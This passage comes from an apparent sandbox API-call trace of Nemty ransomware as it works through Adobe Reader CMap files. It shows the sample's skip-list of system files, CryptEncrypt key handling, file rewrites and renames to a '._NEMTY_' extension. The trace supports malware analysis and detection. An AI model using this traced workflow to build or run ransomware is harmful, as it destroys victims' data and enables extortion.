dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0211.050] CloseHandle (hObject=0xffffffff) returned 0 [0211.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0211.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0211.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0211.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0211.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0211.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0211.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.050] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbpc-euc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBpc-EUC._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbpc-euc._nemty_kgobjgd_")) returned 0 [0211.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0211.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0211.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0211.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0211.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0211.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0211.051] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ff61, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-KSCms-UHC", cAlternateFileName="UCS2-K~2")) returned 1 [0211.051] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2=".") returned 1 [0211.051] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="..") returned 1 [0211.051] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="...") returned 1 [0211.051] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="windows") returned -1 [0211.051] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="$RECYCLE.BIN") returned 1 [0211.051] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="rsa") returned 1 [0211.051] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="NTDETECT.COM") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="ntldr") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="MSDOS.SYS") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="IO.SYS") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="boot.ini") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="boot.ini") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="AUTOEXEC.BAT") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="ntuser.dat") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="desktop.ini") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="CONFIG.SYS") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="RECYCLER") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="BOOTSECT.BAK") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="bootmgr") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="programdata") returned 1 [0211.052] lstrcmpiW (lpString1="UCS2-KSCms-UHC", lpString2="appdata") returned 1 [0211.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCms-UHC", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCms-UHC", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-KSCms-UHC", lpUsedDefaultChar=0x0) returned 14 [0211.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCms-UHC", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCms-UHC", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-KSCms-UHC", lpUsedDefaultChar=0x0) returned 14 [0211.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCms-UHC", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCms-UHC", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-KSCms-UHC", lpUsedDefaultChar=0x0) returned 14 [0211.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCms-UHC", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-KSCms-UHC", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-KSCms-UHC", lpUsedDefaultChar=0x0) returned 14 [0211.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0211.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0211.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0211.053] Sleep (dwMilliseconds=0x5) [0211.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31714f10, dwHighDateTime=0x1d561e8)) [0211.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31714f10, dwHighDateTime=0x1d561e8)) [0211.066] GetLastError () returned 0x5 [0211.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0211.066] GetLastError () returned 0x5 [0211.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0211.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.066] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0211.066] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0211.066] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0211.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0211.066] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="nqqnk6WkU8tbUsAN9VPURjInfiViX61+UzB5MBmcCloJcOCbNmFXjvfrz9BSrJzB\r\nA7kDYO86W+GzmB17QRn6pZo5d/ANq8x42vxsXKfkUUAlYX1q2214imcHQWyLOOg5\r\nHKM/bxwiRhlV9giEY8u/Ow6Ud1Ue4YGgjoStathKb/eL7M/EcMyUYg4pRYR4mHIU\r\nIwIEmG6YMetIztTRvNr2L03u7dBdYTj8Wh1mXdyYgijTNtge8ocaZMNl6dfLzoT2\r\njoj8f36Psnfh+OAGmZ2sJXVygbx1qiSa6uzrYqdQQIi7RJsskTGs9a2Z9cZWaHXI\r\nrClPV3CdpB2qjEYPYCN4IQ==\r\n", pcchString=0x653e91c) returned 1 [0211.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0211.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0211.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0211.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0211.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscms-uhc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.067] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0211.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0211.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.133] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.143] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.162] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.162] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.168] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0211.174] CloseHandle (hObject=0xffffffff) returned 0 [0211.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0211.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0211.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0211.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0211.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0211.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0211.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.174] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscms-uhc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscms-uhc._nemty_kgobjgd_")) returned 0 [0211.175] HeapFree (in: hHeap=0x4f90000, 